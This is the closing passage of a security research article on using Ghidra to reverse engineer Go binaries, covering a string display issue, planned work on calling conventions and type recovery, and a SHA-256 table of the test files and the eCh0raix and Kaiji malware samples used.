Lastly, we will show an issue in the Ghidra Decompile view. Once a string is successfully defined either manually or by one of our scripts, it will be nicely visible in the listing view of Ghidra, helping reverse engineers read the assembly code. However, the Decompiler view in Ghidra cannot handle fixed-length strings correctly and, regardless of the length of the string, it will display everything until it finds a null character. Luckily, this issue will be solved in the next release of Ghidra (9.2).

This is how the issue looks with the eCh0raix sample[9].

Figure 51 – eCh0raix[9] defined string in listing viewghidra decompile view ech0raix defined string

Figure 52 – eCh0raix[9] defined string in Decompile view

Future Work with Reverse Engineering Go

This article focused on the solutions for two issues within Go binaries to help reverse engineers use Ghidra and statically analyze malware written in Go. We discussed how to recover function names in stripped Go binaries and proposed several solutions for defining strings within Ghidra. The scripts that we created and the files we used for the examples in this article are publicly available, and the links can be found below.

This is just the tip of the iceberg when it comes to the possibilities for Go reverse engineering. As a next step, we are planning to dive deeper into Go function call conventions and the type system.

In Go binaries arguments and return values are passed to functions by using the stack, not the registers. Ghidra currently has a hard time correctly detecting these. Helping Ghidra to support Go’s calling convention will help reverse engineers understand the purpose of the analyzed functions.

Another interesting topic is the types within Go binaries. Just as we’ve shown by extracting function names from the investigated files, Go binaries also store information about the types used. Recovering these types can be a great help for reverse engineering. In the example below, we recovered the main.Info structure in an eCh0raix ransomware sample[9]. This structure tells us what information the malware is expecting from the C2 server.reverse engineering go binary with ghidra

Figure 53 – eCh0raix[9] main.info structure

Figure 54 – eCh0raix[9] main.info fields

Figure 55 – eCh0raix[9] main.info structure

As you can see, there are still many interesting areas to discover within Go binaries from a reverse engineering point of view. Stay tuned for our next write-up.

Github repository with scripts and additional materials

Files used for the research

File nameSHA-256
[1]hello.cab84ee5bcc6507d870fdbb6597bed13f858bbe322dc566522723fd8669a6d073
[2]hello.go2f6f6b83179a239c5ed63cccf5082d0336b9a86ed93dcf0e03634c8e1ba8389b
[3]hello_cefe3a095cea591fe9f36b6dd8f67bd8e043c92678f479582f61aabf5428e4fc4
[4]hello_c_strip95bca2d8795243af30c3c00922240d85385ee2c6e161d242ec37fa986b423726
[5]hello_go4d18f9824fe6c1ce28f93af6d12bdb290633905a34678009505d216bf744ecb3
[6]hello_go_strip45a338dfddf59b3fd229ddd5822bc44e0d4a036f570b7eaa8a32958222af2be2
[7]hello_go.exe5ab9ab9ca2abf03199516285b4fc81e2884342211bf0b88b7684f87e61538c4d
[8]hello_go_strip.execa487812de31a5b74b3e43f399cb58d6bd6d8c422a4009788f22ed4bd4fd936c
[9]eCh0raix – x86154dea7cace3d58c0ceccb5a3b8d7e0347674a0e76daffa9fa53578c036d9357
[10]eCh0raix – ARM3d7ebe73319a3435293838296fbb86c2e920fd0ccc9169285cc2c4d7fa3f120d
[11]Kaiji – x86_64f4a64ab3ffc0b4a94fd07a55565f24915b7a1aaec58454df5e47d8f8a2eec22a
[12]Kaiji – ARM3e68118ad46b9eb64063b259fca5f6682c5c2cb18fd9a4e7d97969226b2e6fb4

References and further reading

Solutions by other researchers for various tools

IDA Pro

radare2 / Cutter

Binary Ninja

Ghidra